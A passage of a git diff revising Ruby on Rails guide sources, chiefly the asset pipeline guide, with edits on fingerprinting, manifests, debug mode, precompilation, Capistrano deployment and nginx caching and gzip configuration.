* Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though:
** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
@@ -193,7 +254,6 @@ end
What happens here is that by specifying the Content-Type header variable, we instruct the browser to evaluate the text we are sending over (rather than displaying it as plain text, which is the default behavior).
-
h3. Testing JavaScript
JavaScript testing reminds me the definition of the world 'classic' by Mark Twain: "A classic is something that everybody wants to have read and nobody wants to read." It's similar with JavaScript testing: everyone would like to have it, yet it's not done by too much developers as it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it:
diff --git a/railties/guides/source/api_documentation_guidelines.textile b/railties/guides/source/api_documentation_guidelines.textile
index 9c4df2d6b8..99eb668513 100644
--- a/railties/guides/source/api_documentation_guidelines.textile
+++ b/railties/guides/source/api_documentation_guidelines.textile
@@ -106,7 +106,6 @@ routes.rb # NO
RAILS_ROOT/config/routes.rb # NO
</plain>
-
h3. Fonts
h4. Fixed-width Font
@@ -147,7 +146,7 @@ h3. Description Lists
In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
<ruby>
-# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>.
</ruby>
The description starts in upper case and ends with a full stop—it's standard English.
@@ -184,8 +183,3 @@ self.class_eval %{
end
}
</ruby>
-
-h3. Changelog
-
-* July 17, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn
-
diff --git a/railties/guides/source/asset_pipeline.textile b/railties/guides/source/asset_pipeline.textile
index 51cb332e38..3681501293 100644
--- a/railties/guides/source/asset_pipeline.textile
+++ b/railties/guides/source/asset_pipeline.textile
@@ -1,6 +1,6 @@
h2. Asset Pipeline
-This guide will cover the ideology of the asset pipeline introduced in Rails 3.1.
+This guide covers the asset pipeline introduced in Rails 3.1.
By referring to this guide you will be able to:
* Understand what the asset pipeline is and what it does
@@ -13,16 +13,22 @@ endprologue.
h3. What is the Asset Pipeline?
-The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, SCSS and ERB.
+The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB.
-Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 includes the +sprockets-rails+ gem, which depends on the +sprockets+ gem, by default.
+Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default.
-By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "Fast by default" strategy as outlined by DHH in his 2011 keynote at Railsconf.
+By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011.
-In new Rails 3.1 application the asset pipeline is enable by default. It can be disabled in +application.rb+ by putting this line inside the +Application+ class definition:
+In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition:
-<plain>
+<ruby>
config.assets.enabled = false
+</ruby>
+
+You can also disable it while creating a new application by passing the <tt>--skip-sprockets</tt> option.
+
+<plain>
+rails new appname --skip-sprockets
</plain>
It is recommended that you use the defaults for all new apps.
@@ -30,29 +36,31 @@ It is recommended that you use the defaults for all new apps.
h4. Main Features
-The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser needs to make to render a web page. While Rails already has a feature to concatenate these types of asset--by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+--, many people do not use it.
+The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser must make to render a web page.
+
+While Rails already has a feature to concatenate these types of assets by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+, it has a series of limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries.
-The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered.
+The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production, an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered.
-The second feature is to minify or compress. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own.
+The second feature is to minify or compress assets. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own.
-The third feature is the ability to code these assets using another language, or language extension. These include SCSS or Sass for CSS, CoffeeScript for JavaScript, and ERB for both.
+The third feature is the ability to code these assets using another language, or language extension. These include Sass for CSS, CoffeeScript for JavaScript, and ERB for both.
h4. What is Fingerprinting and Why Should I Care?
-Fingerprinting is a technique where the filenames of content that is static or infrequently updated is altered to be unique to the content contained in the file.
+Fingerprinting is a technique whereby the filenames of content that is static or infrequently updated are altered to be unique to the content contained in the file.
-When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cachebusting_.
+When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cache busting_.
-The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the hash.
+The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the digest, for example becoming:
<plain>
-global.css => global-908e25f4bf641868d8683022a5b62f54.css
+global-908e25f4bf641868d8683022a5b62f54.css
</plain>
This is the strategy adopted by the Rails asset pipeline.
-Rails old strategy was to append a query string to every asset linked with a built-in helper. In the source the generated code looked like this:
+Rails' old strategy was to append a query string to every asset linked with a built-in helper. In the source the generated code looked like this:
<plain>
/stylesheets/global.css?1309495796
@@ -62,8 +70,8 @@ This has several disadvantages:
<ol>
<li>
- <strong>Not all caches will cache content with a query string</strong><br>
- "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in these case 5-20% of requests will not be cached.
+ <strong>Not all caches will cache content with a query string</strong>.<br>
+ "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
</li>
<li>
<strong>The file name can change between nodes in multi-server environments.</strong><br>
@@ -71,9 +79,11 @@ This has several disadvantages:
</li>
</ol>
-The other problem is that when static assets are deployed with each new release of code, the mtime of *all* these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.
+The other problem is that when static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.
+
+Fingerprinting fixes these problems by avoiding query strings, and by ensuring filenames are consistent based on their content.
-Fingerprinting avoids all these problems by ensuring filenames are consistent based on the content.
+Fingerprinting is enabled by default for production and disabled for all the others environments. You can enable or disable it in your configuration through the +config.assets.digest+ option.
More reading:
@@ -83,14 +93,18 @@ More reading:
h3. How to Use the Asset Pipeline
-In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory will be served by the Sprockets middleware included in the sprockets gem.
+In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem.
This is not to say that assets can (or should) no longer be placed in +public+; they still can be and will be served as static files by the application or web server. You would only use +app/assets+ if you wish your files to undergo some pre-processing before they are served.
-When a scaffold or controller is generated for the application, Rails will also generate a JavaScript file (or CoffeeScript if the +coffee-script+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS if +sass-rails+ is in the +Gemfile+) file for that controller.
+In production, the default is to precompile these files to +public/assets+ so that they can be more efficiently delivered by the web server.
+
+When a scaffold or controller is generated for the application, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller.
For example, if a +ProjectsController+ is generated, there will be a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+.
+NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes.
+
h4. Asset Organization
Assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+.
@@ -101,13 +115,17 @@ Assets can be placed inside an application in one of three locations: +app/asset
+vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins.
-All subdirectories that exist within these three locations will be added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths will be looked through to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served.
+All subdirectories that exist within these three locations are added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths are traversed to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served.
-h4. Coding Links to Assets
+You can add additional (fully qualified) paths to the pipeline in +config/application.rb+. For example:
-To access assets, we can use the same tags that we are generally familiar with:
+<ruby>
+config.assets.paths << Rails.root.join("app", "assets", "flash")
+</ruby>
+
+h4. Coding Links to Assets
-Sprockets does not add any new methods to require your assets, we still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+.
+Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+.
<erb>
<%= stylesheet_link_tag "application" %>
@@ -120,65 +138,88 @@ In regular views you can access images in the +assets/images+ directory like thi
<%= image_tag "rails.png" %>
</erb>
-Images can be organized into directories if required, and they can be accessed by specifying the directory's name in the tag:
+Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the webserver.
+
+Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide.
+
+Sprockets will also look through the paths specified in +config.assets.paths+ which includes the standard application paths and any path added by Rails engines.
+
+Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag:
<erb>
<%= image_tag "icons/rails.png" %>
</erb>
-Providing that assets are enabled within our application (+config.assets.enabled+ in the current environment's file is not set to +false+), this file will be served by Sprockets unless a file at +public/assets/rails.png+ exists, in which case that file will be served.
-
-Alternatively, a file with an MD5 hash after its name such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ will also be picked up by Sprockets. How these hashes are generated is covered in the "Production Assets":#production_assets section later on in this guide.
-
-Otherwise, Sprockets will look through the available paths until it finds a file that matches the name and then will serve it, first looking in the application's assets directories and then falling back to the various engines of the application.
+h5. CSS and ERB
-If you want to use a "css data URI":http://en.wikipedia.org/wiki/Data_URI_scheme - a method of embedding the image data directly into the CSS file - you can use the +asset_data_uri+ helper.
+If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+, then helpers like +asset_path+ are available in your CSS rules:
<plain>
-#logo { background: url(<%= asset_data_uri 'logo.png' %>)
+.class { background-image: url(<%= asset_path 'image.png' %>) }
</plain>
-This will insert a correctly formatted data URI into the CSS source.
+This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced.
-h5. CSS and ERB
-
-If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+ then you can use the +asset_path+ helper in your CSS rules:
+If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper.
<plain>
-.class{background-image:<%= asset_path 'image.png' %>}
+#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
</plain>
-This will write the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file then that path will be referenced.
+This inserts a correctly-formatted data URI into the CSS source.
Note that the closing tag cannot be of the style +-%>+.
-h5. CSS and SCSS
+h5. CSS and Sass
-When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +_url+ and +_path+ helpers for the following asset classes: image, font, video, audio, javascript, stylesheet.
+When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
-* +image_url("rails.png")+ becomes +url(/assets/rails.png)+
-* +image_path("rails.png")+ becomes +"/assets/rails.png"+.
+* +image-url("rails.png")+ becomes +url(/assets/rails.png)+
+* +image-path("rails.png")+ becomes +"/assets/rails.png"+.
The more generic form can also be used but the asset path and class must both be specified:
-* +asset_url("rails.png", "image")+ becomes +url(/assets/rails.png)+
-* +asset_path("rails.png", "image")+ becomes +"/assets/rails.png"+
+* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+
+* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+
+
+h5. JavaScript/CoffeeScript and ERB
+
+If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code:
+
+<erb>
+$('#logo').attr({
+ src: "<%= asset_path('logo.png') %>"
+});
+</erb>
+
+This writes the path to the particular asset being referenced.
+
+Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (eg. +application.js.coffee.erb+):
+
+<plain>
+$('#logo').attr src: "<%= asset_path('logo.png') %>"
+</plain>
h4. Manifest Files and Directives
-Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ - instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets will load the files specified, process them if necessary, concatenate them into one single file and then compress them (if +Rails.application.config.assets.compress+ is set to +true+). By serving one file rather than many, a page's load time is greatly reduced as there is not as many requests to make for each file.
+Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages are greatly reduced as there are fewer requests to make.
For example, in the default Rails application there's a +app/assets/javascripts/application.js+ file which contains the following lines:
<plain>
+// ...
//= require jquery
//= require jquery_ujs
//= require_tree .
</plain>
-In JavaScript files, directives begin with +//=+. In this case, the following file is using the +require+ directive and the +require_tree+ directive. The +require+ directive tells Sprockets that we would like to require a file called +jquery.js+ that is available somewhere in the search path for Sprockets. By default, this is located inside the +vendor/assets/javascripts+ directory contained within the +jquery-rails+ gem. An identical event takes place for the +jquery_ujs+ require
+In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file.
+
+NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree.
-The +require_tree .+ directive tells Sprockets to include _all_ JavaScript files in this directory into the output. Only a path relative to the file can be specified.
+The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in this directory into the output. Only a path relative to the manifest file can be specified. There is also a +require_directory+ directive which includes all JavaScript files only in the directory specified (no nesting).
+
+Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other, require it before in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output.
There's also a default +app/assets/stylesheets/application.css+ file which contains these lines:
@@ -189,13 +230,15 @@ There's also a default +app/assets/stylesheets/application.css+ file which conta
*/
</plain>
-The directives that work in the JavaScript files will also work in stylesheets, obviously including stylesheets rather than JavaScript files. The +require_tree+ directive here works the same way as the JavaScript one, requiring all stylesheets from the current directory.
+The directives that work in the JavaScript files also work in stylesheets, obviously including stylesheets rather than JavaScript files. The +require_tree+ directive here works the same way as the JavaScript one, requiring all stylesheets from the current directory.
+
+In this example +require_self+ is used. This puts the CSS contained within the file (if any) at the precise location of the +require_self+ call. If +require_self+ is called more than once, only the last call is respected.
-In this example +require_self+ is used. This will put the CSS contained within the file (if any) at the top of any other CSS in this file unless +require_self+ is specified after another +require+ directive.
+NOTE. If you want to use multiple Sass files, use the "Sass +@import+ rule":http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import instead of the Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.
You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of an application.
-For some assets (like CSS) the compiled order is important. You can specify individual files and they will be compiled in the order specified:
+The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified:
<plain>
/* ...
@@ -208,98 +251,159 @@ For some assets (like CSS) the compiled order is important. You can specify indi
h4. Preprocessing
-The file extensions used on an asset will determine what preprocessing will be applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file will be generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and a +app/assets/stylesheets/projects.css.scss+ file.
+The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file.
-When these files are requested, they will be processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively.
+When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively.
-Additional layers of pre-processing can be requested by adding other extensions, where each extension will be processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ would first be processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file - +app/assets/javascripts/projects.js.coffee.erb+ would be process as ERB, CoffeeScript and served as JavaScript.
+Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, CoffeeScript, and served as JavaScript.
-Keep in mind that the order of these pre-processors is important. For example, if we called our JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore we would run into problems.
+Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.
h3. In Development
-In the development environment assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-validate+ Cache-Control HTTP header to reduce request overhead on subsequent requests - on these the browser gets a 304 (not-modified) response.
-
-If any of the files in the manifest have changed between requests, the server will respond with a new compiled file.
-
-h4. Debugging Assets
+In development mode assets are served as separate files in the order they are specified in the manifest file.
-You can put +?debug_assets=true+ or +?debug_assets=1+ at the end of a URL and Sprockets will expand the lines which load the assets. For example, if we had an +app/assets/javascripts/application.js+ file containing these lines:
+This manifest +app/assets/javascripts/application.js+:
<plain>
-//= require "projects"
-//= require "tickets"
+//= require core
+//= require projects
+//= require tickets
</plain>
-By default, this would only render this line when used with +<%= javascript_include_tag "application" %>+ in a view or layout:
+would generate this HTML:
<html>
-<script src='/assets/application.js'></script>
+<script src="/assets/core.js?body=1" type="text/javascript"></script>
+<script src="/assets/projects.js?body=1" type="text/javascript"></script>
+<script src="/assets/tickets.js?body=1" type="text/javascript"></script>
</html>
-When the +debug_assets+ parameter is set, this line will be expanded out into three separate lines, separating out the combined file into their parts.
+The +body+ param is required by Sprockets.
+
+h4. Turning Debugging off
+
+You can turn off debug mode by updating +config/environments/development.rb+ to include:
+
+<ruby>
+config.assets.debug = false
+</ruby>
+
+When debug mode is off Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:
<html>
-<script src='/assets/application.js'></script>
-<script src='/assets/projects.js'></script>
-<script src='/assets/tickets.js'></script>
+<script src="/assets/application.js" type="text/javascript"></script>
</html>
-This allows the individual parts of an asset to be rendered and debugged separately.
+Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response.
+
+If any of the files in the manifest have changed between requests, the server responds with a new compiled file.
+
+Debug mode can also be enabled in the Rails helper methods:
+
+<erb>
+<%= stylesheet_link_tag "application", :debug => true %>
+<%= javascript_include_tag "application", :debug => true %>
+</erb>
+
+The +:debug+ option is redundant if debug mode is on.
+
+You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.
h3. In Production
-In the production environment, assets are served slightly differently.
+In the production environment Rails uses the fingerprinting scheme outlined above. By default it is assumed that assets have been precompiled and will be served as static assets by your web server.
-On the first request the assets are compiled and cached as described above, however the manifest names are altered to include an MD5 hash. Files names typically will look like these:
+During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name.
-<plain>
-/assets/application-908e25f4bf641868d8683022a5b62f54.js
-/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css
-</plain>
+For example this:
-The MD5 is generated from the contents of the compiled files, and is included in the HTTP +Content-MD5+ header.
+<erb>
+<%= javascript_include_tag "application" %>
+<%= stylesheet_link_tag "application" %>
+</erb>
-Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.
+generates something like this:
+
+<html>
+<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js" type="text/javascript"></script>
+<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" type="text/css" />
+</html>
+
+The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which is +true+ for production, +false+ for everything else).
-This behavior is controlled by the setting of +config.action_controller.perform_caching+ setting in Rails (which is +true+ for production, +false+ for everything else). This value is propagated to Sprockets during initialization for use when action_controller is not available.
+NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.
h4. Precompiling Assets
-Even though assets are served by Rack::Cache with far-future headers, in high traffic sites this may not be fast enough.
+Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk.
-Rails comes bundled with a rake task to compile the manifests to files on disc. These are located in the +public/assets+ directory where they will be served by your web server instead of the Rails application.
+Compiled assets are written to the location specified in +config.assets.prefix+. The default setting will use the +public/assets+ directory.
+
+You must use this task either during deployment or locally if you do not have write access to your production filesystem.
The rake task is:
<plain>
-rake assets:precompile
+bundle exec rake assets:precompile
</plain>
-You can run this as part of a Capistrano deployment:
+For faster asset precompiles, you can partially load your application by setting
++config.assets.initialize_on_precompile+ to false in +config/application.rb+, though in that case templates
+cannot see application objects or methods. *Heroku requires this to be false.*
+
+WARNING: If you set +config.assets.initialize_on_precompile+ to false, be sure to
+test +rake assets:precompile+ locally before deploying. It may expose bugs where
+your assets reference application objects or methods, since those are still
+in scope in development mode regardless of the value of this flag.
+
+Capistrano (v2.8.0 and above) has a recipe to handle this in deployment. Add the following line to +Capfile+:
<erb>
-before 'deploy:symlink' do
- run "cd #{release_path}; RAILS_ENV=#{rails_env} rake assets:precompile"
-end
+load 'deploy/assets'
</erb>
-If you are not precompiling your assets, and you are using the default cache file store (which is the file system), you will need to symlink +rails_root/tmp/cache/assets+ from the shared folder that is part of the Capistrano deployment structure in order to persist the cached file between deployments.
+This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this shared folder you'll need to write your own deployment task.
-TODO: Extend above task to allow for this and add task to set it up (See commits 8f0e0b6 and 704ee0df). Note: Capistrano folks are working on a recipe - update this when it available (see https://github.com/capistrano/capistrano/pull/35).
+It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page.
-The default matcher for compiling files will include +application.js+, +application.css+ and all files that do not end in +js+ or +css+:
+NOTE. If you are precompiling your assets locally, you can use +bundle install --without assets+ on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile).
+
+The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+:
<ruby>
-[ /\w+\.(?!js|css).+/, /application.(css|js)$/ ]
+[ /\w<plus>\.(?!js|css).<plus>/, /application.(css|js)$/ ]
</ruby>
-If you have other manifests or individual stylesheets and JavaScript files to include, you can append them to the +precompile+ array:
+If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array:
<erb>
-config.assets.precompile << ['admin.js', 'admin.css', 'swfObject.js']
+config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
</erb>
+The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods and avoids handing the mapping requests back to Sprockets. A typical manifest file looks like:
+
+<plain>
+---
+rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png
+jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js
+jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js
+application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js
+application.css: application-8af74128f904600e41a6e39241464e03.css
+</plain>
+
+The default location for the manifest is the root of the location specified in +config.assets.prefix+ ('/assets' by default).
+
+This can be changed with the +config.assets.manifest+ option. A fully specified path is required:
+
+<erb>
+config.assets.manifest = '/path/to/some/other/location'
+</erb>
+
+NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s).
+
+h5. Server Configuration
+
Precompiled assets exist on the filesystem and are served directly by your webserver. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them.
For Apache:
@@ -318,45 +422,102 @@ For Apache:
</LocationMatch>
</plain>
-TODO: NGINX instructions
+For nginx:
+
+<plain>
+location ~ ^/assets/ {
+ expires 1y;
+ add_header Cache-Control public;
-When files are precompiled Sprockets also creates "Gzip":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. This avoids the server having to do this for any requests; it can simply read the compressed files from disc. You must configure your server to use gzip compression and serve the compressed assets that will be stored in the public/assets folder. The following configuration options can be used:
+ # Some browsers still send conditional-GET requests if there's a
+ # Last-Modified header or an ETag header even if they haven't
+ # reached the expiry date sent in the Expires header.
+ add_header Last-Modified "";
+ add_header ETag "";
+ break;
+}
+</plain>
-TODO: Apache instructions
+When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves.
+Nginx is able to do this automatically enabling +gzip_static+:
-h3. Customizing the Pipeline
+<plain>
+location ~ ^/(assets)/ {
+ root /path/to/public;
+ gzip_static on; # to serve pre-gzipped version
+ expires max;
+ add_header Cache-Control public;
+}
+</plain>
+
+This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even +nginx-light+ have the module compiled. Otherwise, you may need to perform a manual compilation:
+
+<plain>
+./configure --with-http_gzip_static_module
+</plain>
+
+If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted.
+
+Unfortunately, a robust configuration for Apache is possible but tricky, please Google around.
+
+h4. Live Compilation
+In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.
+
+To enable this option set:
+
+<erb>
+config.assets.compile = true
+</erb>
+
+On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash.
+
+Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.
+
